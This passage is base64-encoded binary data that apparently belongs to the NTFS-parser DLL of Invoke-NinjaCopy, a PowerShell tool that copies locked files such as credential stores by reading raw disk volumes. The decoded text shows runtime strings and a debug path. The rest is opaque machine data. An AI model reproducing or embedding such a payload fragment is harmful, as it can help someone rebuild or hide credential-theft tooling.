BhAAAAYQByAC0AbwBtAAAAYQByAC0AcQBhAAAAYQByAC0AcwBhAAAAYQByAC0AcwB5AAAAYQByAC0AdABuAAAAYQByAC0AeQBlAAAAYQB6AC0AYQB6AC0AYwB5AHIAbAAAAAAAYQB6AC0AYQB6AC0AbABhAHQAbgAAAAAAYgBlAC0AYgB5AAAAYgBnAC0AYgBnAAAAYgBuAC0AaQBuAAAAYgBzAC0AYgBhAC0AbABhAHQAbgAAAAAAYwBhAC0AZQBzAAAAYwBzAC0AYwB6AAAAYwB5AC0AZwBiAAAAZABhAC0AZABrAAAAZABlAC0AYQB0AAAAZABlAC0AYwBoAAAAZABlAC0AZABlAAAAZABlAC0AbABpAAAAZABlAC0AbAB1AAAAZABpAHYALQBtAHYAAAAAAGUAbAAtAGcAcgAAAGUAbgAtAGEAdQAAAGUAbgAtAGIAegAAAGUAbgAtAGMAYQAAAGUAbgAtAGMAYgAAAGUAbgAtAGcAYgAAAGUAbgAtAGkAZQAAAGUAbgAtAGoAbQAAAGUAbgAtAG4AegAAAGUAbgAtAHAAaAAAAGUAbgAtAHQAdAAAAGUAbgAtAHUAcwAAAGUAbgAtAHoAYQAAAGUAbgAtAHoAdwAAAGUAcwAtAGEAcgAAAGUAcwAtAGIAbwAAAGUAcwAtAGMAbAAAAGUAcwAtAGMAbwAAAGUAcwAtAGMAcgAAAGUAcwAtAGQAbwAAAGUAcwAtAGUAYwAAAGUAcwAtAGUAcwAAAGUAcwAtAGcAdAAAAGUAcwAtAGgAbgAAAGUAcwAtAG0AeAAAAGUAcwAtAG4AaQAAAGUAcwAtAHAAYQAAAGUAcwAtAHAAZQAAAGUAcwAtAHAAcgAAAGUAcwAtAHAAeQAAAGUAcwAtAHMAdgAAAGUAcwAtAHUAeQAAAGUAcwAtAHYAZQAAAGUAdAAtAGUAZQAAAGUAdQAtAGUAcwAAAGYAYQAtAGkAcgAAAGYAaQAtAGYAaQAAAGYAbwAtAGYAbwAAAGYAcgAtAGIAZQAAAGYAcgAtAGMAYQAAAGYAcgAtAGMAaAAAAGYAcgAtAGYAcgAAAGYAcgAtAGwAdQAAAGYAcgAtAG0AYwAAAGcAbAAtAGUAcwAAAGcAdQAtAGkAbgAAAGgAZQAtAGkAbAAAAGgAaQAtAGkAbgAAAGgAcgAtAGIAYQAAAGgAcgAtAGgAcgAAAGgAdQAtAGgAdQAAAGgAeQAtAGEAbQAAAGkAZAAtAGkAZAAAAGkAcwAtAGkAcwAAAGkAdAAtAGMAaAAAAGkAdAAtAGkAdAAAAGoAYQAtAGoAcAAAAGsAYQAtAGcAZQAAAGsAawAtAGsAegAAAGsAbgAtAGkAbgAAAGsAbwBrAC0AaQBuAAAAAABrAG8ALQBrAHIAAABrAHkALQBrAGcAAABsAHQALQBsAHQAAABsAHYALQBsAHYAAABtAGkALQBuAHoAAABtAGsALQBtAGsAAABtAGwALQBpAG4AAABtAG4ALQBtAG4AAABtAHIALQBpAG4AAABtAHMALQBiAG4AAABtAHMALQBtAHkAAABtAHQALQBtAHQAAABuAGIALQBuAG8AAABuAGwALQBiAGUAAABuAGwALQBuAGwAAABuAG4ALQBuAG8AAABuAHMALQB6AGEAAABwAGEALQBpAG4AAABwAGwALQBwAGwAAABwAHQALQBiAHIAAABwAHQALQBwAHQAAABxAHUAegAtAGIAbwAAAAAAcQB1AHoALQBlAGMAAAAAAHEAdQB6AC0AcABlAAAAAAByAG8ALQByAG8AAAByAHUALQByAHUAAABzAGEALQBpAG4AAABzAGUALQBmAGkAAABzAGUALQBuAG8AAABzAGUALQBzAGUAAABzAGsALQBzAGsAAABzAGwALQBzAGkAAABzAG0AYQAtAG4AbwAAAAAAcwBtAGEALQBzAGUAAAAAAHMAbQBqAC0AbgBvAAAAAABzAG0AagAtAHMAZQAAAAAAcwBtAG4ALQBmAGkAAAAAAHMAbQBzAC0AZgBpAAAAAABzAHEALQBhAGwAAABzAHIALQBiAGEALQBjAHkAcgBsAAAAAABzAHIALQBiAGEALQBsAGEAdABuAAAAAABzAHIALQBzAHAALQBjAHkAcgBsAAAAAABzAHIALQBzAHAALQBsAGEAdABuAAAAAABzAHYALQBmAGkAAABzAHYALQBzAGUAAABzAHcALQBrAGUAAABzAHkAcgAtAHMAeQAAAAAAdABhAC0AaQBuAAAAdABlAC0AaQBuAAAAdABoAC0AdABoAAAAdABuAC0AegBhAAAAdAByAC0AdAByAAAAdAB0AC0AcgB1AAAAdQBrAC0AdQBhAAAAdQByAC0AcABrAAAAdQB6AC0AdQB6AC0AYwB5AHIAbAAAAAAAdQB6AC0AdQB6AC0AbABhAHQAbgAAAAAAdgBpAC0AdgBuAAAAeABoAC0AegBhAAAAegBoAC0AYwBoAHMAAAAAAHoAaAAtAGMAaAB0AAAAAAB6AGgALQBjAG4AAAB6AGgALQBoAGsAAAB6AGgALQBtAG8AAAB6AGgALQBzAGcAAAB6AGgALQB0AHcAAAB6AHUALQB6AGEAAADYNAEQ5DQBEOw0ARD4NAEQBDUBEBA1ARAcNQEQKDUBEDA1ARA4NQEQRDUBEFA1ARBaNQEQCDoBEBw6ARA4OgEQTDoBEGw6ARBcNQEQZDUBEGw1ARBwNQEQdDUBEHg1ARB8NQEQgDUBEIQ1ARCINQEQlDUBEJg1ARCcNQEQoDUBEKQ1ARCoNQEQrDUBELA1ARC0NQEQuDUBELw1ARDANQEQxDUBEMg1ARDMNQEQ0DUBENQ1ARDYNQEQ3DUBEOA1ARDkNQEQ6DUBEOw1ARDwNQEQ9DUBEPg1ARD8NQEQADYBEAQ2ARAINgEQDDYBEBA2ARAcNgEQKDYBEDA2ARA8NgEQVDYBEGA2ARB0NgEQlDYBELQ2ARDUNgEQ9DYBEBQ3ARA4NwEQVDcBEHg3ARCYNwEQwDcBENw3ARDsNwEQ8DcBEPg3ARAIOAEQLDgBEDQ4ARBAOAEQUDgBEGw4ARCMOAEQtDgBENw4ARAEOQEQMDkBEEw5ARBwOQEQlDkBEMA5ARDsOQEQWjUBEF9fYmFzZWQoAAAAAF9fY2RlY2wAX19wYXNjYWwAAAAAX19zdGRjYWxsAAAAX190aGlzY2FsbAAAX19mYXN0Y2FsbAAAX19jbHJjYWxsAAAAX19lYWJpAABfX3B0cjY0AF9fcmVzdHJpY3QAAF9fdW5hbGlnbmVkAHJlc3RyaWN0KAAAACBuZXcAAAAAIGRlbGV0ZQA9AAAAPj4AADw8AAAhAAAAPT0AACE9AABbXQAAb3BlcmF0b3IAAAAALT4AACoAAAArKwAALS0AAC0AAAArAAAAJgAAAC0+KgAvAAAAJQAAADwAAAA8PQAAPgAAAD49AAAsAAAAKCkAAH4AAABeAAAAfAAAACYmAAB8fAAAKj0AACs9AAAtPQAALz0AACU9AAA+Pj0APDw9ACY9AAB8PQAAXj0AAGB2ZnRhYmxlJwAAAGB2YnRhYmxlJwAAAGB2Y2FsbCcAYHR5cGVvZicAAAAAYGxvY2FsIHN0YXRpYyBndWFyZCcAAAAAYHN0cmluZycAAAAAYHZiYXNlIGRlc3RydWN0b3InAABgdmVjdG9yIGRlbGV0aW5nIGRlc3RydWN0b3InAAAAAGBkZWZhdWx0IGNvbnN0cnVjdG9yIGNsb3N1cmUnAAAAYHNjYWxhciBkZWxldGluZyBkZXN0cnVjdG9yJwAAAABgdmVjdG9yIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAGB2ZWN0b3IgZGVzdHJ1Y3RvciBpdGVyYXRvcicAAAAAYHZlY3RvciB2YmFzZSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAYHZpcnR1YWwgZGlzcGxhY2VtZW50IG1hcCcAAGBlaCB2ZWN0b3IgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAGBlaCB2ZWN0b3IgZGVzdHJ1Y3RvciBpdGVyYXRvcicAYGVoIHZlY3RvciB2YmFzZSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAGBjb3B5IGNvbnN0cnVjdG9yIGNsb3N1cmUnAABgdWR0IHJldHVybmluZycAYEVIAGBSVFRJAAAAYGxvY2FsIHZmdGFibGUnAGBsb2NhbCB2ZnRhYmxlIGNvbnN0cnVjdG9yIGNsb3N1cmUnACBuZXdbXQAAIGRlbGV0ZVtdAAAAYG9tbmkgY2FsbHNpZycAAGBwbGFjZW1lbnQgZGVsZXRlIGNsb3N1cmUnAABgcGxhY2VtZW50IGRlbGV0ZVtdIGNsb3N1cmUnAAAAAGBtYW5hZ2VkIHZlY3RvciBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAABgbWFuYWdlZCB2ZWN0b3IgZGVzdHJ1Y3RvciBpdGVyYXRvcicAAAAAYGVoIHZlY3RvciBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAGBlaCB2ZWN0b3IgdmJhc2UgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAYGR5bmFtaWMgaW5pdGlhbGl6ZXIgZm9yICcAAGBkeW5hbWljIGF0ZXhpdCBkZXN0cnVjdG9yIGZvciAnAAAAAGB2ZWN0b3IgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAGB2ZWN0b3IgdmJhc2UgY29weSBjb25zdHJ1Y3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ABAAAAAAAAAP////8AAAAAQAAAAKBHARAAAAAAAAAAAAEAAACYSAEQyH4BEAAAAAAAAAAA/////wAAAABAAAAA2EcBEAAAAAAAAAAAAwAAABRIARCgSAEQOEgBEOhHARAAAAAAAAAAAAAAAAAAAAAA7H4BEOxIARDsfgEQAQAAAAAAAAD/////AAAAAEAAAADsSAEQcH4BEAIAAAAAAAAA/////wAAAABAAAAAvEgBEAAAAAAAAAAAAAAAAMh+ARDYRwEQAAAAAAAAAAAAAAAAcH4BELxIARDoRwEQAAAAAJx+ARACAAAAAAAAAP////8AAAAAQAAAAARIARAAAAAAAAAAAAMAAAD8SAEQAAAAAAAAAAAAAAAAnH4BEARIARA4SAEQ6EcBEAAAAAAAAAAAAAAAAAIAAADgSAEQVEgBEDhIARDoRwEQAAAAAERKARAgTAEQAE0BEAAAAABgSgEQBEwBEABNARAAAAAAfEoBECBMARAATQEQAAAAAJhKARAETAEQAE0BEAAAAAC0SgEQIEwBEABNARAAAAAA0EoBEARMARAATQEQAAAAAOxKARAAAAAACEsBEARMARAATQEQAAAAAEBLARAgTAEQAE0BECRLARAAAAAAXEsBEDxMARAAAAAAeEsBECBMARAATQEQAAAAAJRLARAgTAEQAE0BEAAAAADMSwEQIEwBEABNARCwSwEQAAAAAOhLARAgTAEQAE0BEAAAAAAETAEQAE0BEAAAAAAgTAEQAE0BEAAAAAA8TAEQAAAAAFhMARAAAAAAdEwBEAAAAACQTAEQAAAAAKxMARAAAAAAyEwBEORMARAAAAAA5EwBEAAAAAAATQEQAAAAABh/ARACAAAAAAAAAP////8AAAAAQAAAABxNARBIfwEQAgAAAAAAAAD/////AAAAAEAAAAAsTQEQfH8BEAIAAAAAAAAA/////wAAAABAAAAAPE0BEKh/ARACAAAAAAAAAP////8AAAAAQAAAAExNARDYfwEQAgAAAAAAAAD/////AAAAAEAAAABcTQEQCIABEAIAAAAAAAAA/////wAAAABAAAAAbE0BEDyAARAAAAAAAAAAAP////8AAAAAQAAAAHxNARBkgAEQAgAAAAAAAAD/////AAAAAEAAAACMTQEQcIEBEAAAAAAoAAAA/////wAAAABAAAAAHE4BEISAARADAAAAAAAAAP////8AAAAAQAAAAJxNARCkgAEQAQAAAAAAAAD/////AAAAAEAAAACsTQEQwIABEAIAAAAAAAAA/////wAAAABAAAAAvE0BENyAARACAAAAAAAAAP////8AAAAAQAAAAMxNARAgggEQAAAAACgAAAD/////AAAAAEAAAABsTgEQ+IABEAMAAAAAAAAA/////wAAAABAAAAA3E0BEBiBARACAAAAAAAAAP////8AAAAAQAAAAOxNARA0gQEQAQAAAAAAAAD/////AAAAAEAAAAD8TQEQVIEBEAEAAAAAAAAA/////wAAAABAAAAADE4BEHCBARAAAAAAAAAAAP////8AAAAAQAAAABxOARCYgQEQAAAAAAAAAAD/////AAAAAEAAAAAsTgEQxIEBEAAAAAAAAAAA/////wAAAABAAAAAPE4BEOiBARAAAAAAAAAAAP////8AAAAAQAAAAExOARAEggEQAAAAAAAAAAD/////AAAAAEAAAABcTgEQOIIBEAEAAAAAAAAA/////wAAAABAAAAAfE4BECCCARAAAAAAAAAAAP////8AAAAAQAAAAGxOARBUggEQAAAAAAAAAAD/////AAAAAEAAAACMTgEQAAAAAAAAAAADAAAADEkBEAAAAAAAAAAAAwAAABxJARAAAAAAAAAAAAMAAAAsSQEQAAAAAAAAAAADAAAAPEkBEAAAAAAAAAAAAwAAAExJARAAAAAAAAAAAAMAAABcSQEQAAAAAAAAAAABAAAAbEkBEAAAAAAAAAAAAwAAAHRJARAAAAAAAQAAAAQAAACESQEQAAAAAAAAAAACAAAAmEkBEAAAAAAAAAAAAwAAAKRJARAAAAAAAAAAAAMAAAC0SQEQAAAAAAEAAAAEAAAAxEkBEAAAAAAAAAAAAwAAANhJARAAAAAAAAAAAAIAAADoSQEQAAAAAAAAAAACAAAA9EkBEAAAAAAAAAAAAQAAAABKARAAAAAAAAAAAAEAAAAISgEQAAAAAAAAAAABAAAAEEoBEAAAAAAAAAAAAQAAABhKARAAAAAAAAAAAAEAAAAgSgEQAAAAAAAAAAABAAAANEoBEAAAAAAAAAAAAgAAAChKARAAAAAAAAAAAAEAAAA8SgEQAAAAAAAAAAAAAAAAGH8BEBxNARAAAAAAAAAAAAAAAABIfwEQLE0BEAAAAAAAAAAAAAAAAHx/ARA8TQEQAAAAAAAAAAAAAAAAqH8BEExNARAAAAAAAAAAAAAAAADYfwEQXE0BEAAAAAAAAAAAAAAAAAiAARBsTQEQAAAAAAAAAAAAAAAAPIABEHxNARAAAAAAAAAAAAAAAABkgAEQjE0BEAAAAAAoAAAAAAAAAISAARCcTQEQAAAAAAAAAAAAAAAAhIABEJxNARAAAAAAAAAAAAAAAACkgAEQrE0BEAAAAAAAAAAAAAAAAMCAARC8TQEQAAAAAAAAAAAAAAAA3IABEMxNARAAAAAAKAAAAAAAAAD4gAEQ3E0BEAAAAAAAAAAAAAAAAPiAARDcTQEQAAAAAAAAAAAAAAAAIIIBEGxOARAAAAAAAAAAAAAAAAAYgQEQ7E0BEAAAAAAAAAAAAAAAADSBARD8TQEQAAAAAAAAAAAAAAAAVIEBEAxOARAAAAAAAAAAAAAAAABwgQEQHE4BEAAAAAAAAAAAAAAAAJiBARAsTgEQAAAAAAAAAAAAAAAAxIEBEDxOARAAAAAAAAAAAAAAAADogQEQTE4BEAAAAAAAAAAAAAAAAASCARBcTgEQAAAAAAAAAAAAAAAAOIIBEHxOARAAAAAAAAAAAAAAAABUggEQjE4BEAAAAAAAAAAAAAAAAExqAAB9agAA8HUAALC8AADw2gAAUOYAAHDmAACu5gAA/uYAADjnAABo5wAAo+cAANPnAAAD6AAAKOgAAH/oAAC46AAA6OgAACbpAAC+6QAA6+kAACPqAABL6gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeE8AEAAAAAAwUQEQAgAAADxRARBYUQEQAAAAAABwARAAAAAA/////wAAAAAMAAAADE8AEAAAAAAccAEQAAAAAP////8AAAAADAAAAG9uABAAAAAAOHABEAAAAAD/////AAAAAAwAAABCTwAQAAAAAINPABAAAAAAoFEBEAMAAACwUQEQdFEBEFhRARAAAAAAWHABEAAAAAD/////AAAAAAwAAAAnTwAQAAAAAINPABAAAAAA3FEBEAMAAADsUQEQdFEBEFhRARAAAAAAeHABEAAAAAD/////AAAAAAwAAABdTwAQ/v///wAAAADU////AAAAAP7///8AAAAAKlcAEAAAAAD+////AAAAAND///8AAAAA/v///wAAAAC+XAAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAC1dABAAAAAA/v///wAAAADM////AAAAAP7///9sXQAQlV0AEAAAAAD+////AAAAANj///8AAAAA/v///wAAAADsYAAQAAAAAP7///8AAAAA1P///wAAAAD+////hGIAEJ5iABAAAAAA/v///wAAAADE////AAAAAP7///8AAAAAX3QAEAAAAAD+////AAAAANT///8AAAAA/v///wAAAABEewAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAAd/ABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAsoIAEAAAAAD+////AAAAAND///8AAAAA/v///wAAAAAzhAAQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAAGIABD+////AAAAAA2IABD+////AAAAANj///8AAAAA/v///wAAAABxiQAQ/v///wAAAACAiQAQ/v///wAAAADY////AAAAAP7///+ijQAQpo0AEAAAAAD+////AAAAANj///8AAAAA/v///26NABByjQAQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAANKOABAAAAAA/v///wAAAAB8////AAAAAP7///8AAAAA86IAEAAAAAD+////AAAAAND///8AAAAA/v///wAAAABFtAAQAAAAAAq0ABAUtAAQ/v///wAAAACw////AAAAAP7///8AAAAAO6oAEAAAAACHqQAQkakAEP7///8AAAAA2P///wAAAAD+////qbEAEK2xABAAAAAA/v///wAAAADY////AAAAAP7///98qAAQhagAEEAAAAAAAAAAAAAAAOiqABD/////AAAAAP////8AAAAAAAAAAAAAAAABAAAAAQAAAMRUARAiBZMZAgAAANRUARABAAAA5FQBEAAAAAAAAAAAAAAAAAEAAAAAAAAA/v///wAAAADU////AAAAAP7///8nswAQK7MAEAAAAADCqAAQAAAAAExVARACAAAAWFUBEFhRARAAAAAA8HkBEAAAAAD/////AAAAAAwAAACnqAAQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAABm3ABAAAAAA/v///wAAAADY////AAAAAP7///9JuAAQXLgAEAAAAAD+////AAAAALz///8AAAAA/v///wAAAAB4ugAQAAAAAP7///8AAAAA0P///wAAAAD+////AAAAAFfOABAAAAAA/v///wAAAADI////AAAAAP7///8AAAAAedcAEAAAAAD+////AAAAAMz///8AAAAA/v///wAAAACn3QAQAAAAAAAAAABx3QAQ/v///wAAAADQ////AAAAAP7///8AAAAARd8AEAAAAAD+////AAAAANj///8AAAAA/v///wAAAADR3wAQAAAAAP7///8AAAAAzP///wAAAAD+////AAAAACrjABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAJuQAEAAAAAD+////AAAAAND///8AAAAA/v///wAAAAA/5QAQIgWTGQQAAAAAVwEQAgAAACBXARAAAAAAAAAAAAAAAAABAAAA/////wAAAAD/////AAAAAAEAAAAAAAAAAQAAAAAAAAACAAAAAgAAAAMAAAABAAAASFcBEAAAAAAAAAAAAwAAAAEAAABYVwEQQAAAAAAAAAAAAAAAMhYAEEAAAAAAAAAAAAAAAPUVABAiBZMZAQAAAIxXARAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD/////4OgAECIFkxkBAAAAuFcBEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP////+w6AAQIgWTGQEAAADkVwEQAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA/////2DnABAiBZMZAQAAABBYARAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD/////MOcAECIFkxkDAAAAPFgBEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP/////g5gAQAAAAAOjmABABAAAA8+YAECIFkxkDAAAAeFgBEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP////+Q5gAQAAAAAJjmABABAAAAo+YAECIFkxkDAAAAtFgBEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP////9Q6AAQ/////1voABAAAAAAcegAECIFkxkBAAAA8FgBEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP////9A6gAQIgWTGQoAAAAgWQEQAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAP////9Q6QAQ/////1vpABD/////ZukAEP////9x6QAQ/////3zpABD/////h+kAEP////+S6QAQ/////53pABD/////qOkAEP////+z6QAQIgWTGQEAAACUWQEQAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA/////xDpABAiBZMZAQAAAMBZARAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD/////4OkAECIFkxkCAAAA7FkBEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP////8Q6gAQAAAAABvqABAiBZMZAgAAACBaARAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD/////8OcAEAAAAAD45wAQIgWTGQEAAABUWgEQAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA/////yDoABAiBZMZAgAAAIBaARAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD/////wOcAEAAAAADI5wAQIgWTGQIAAAC0WgEQAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA/////5DnABAAAAAAmOcAEOxaAQAAAAAAAAAAAHJcAQAA8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAD8WwEAElwBACRcAQA0XAEAQFwBAFZcAQBkXAEAgFwBAJBcAQCg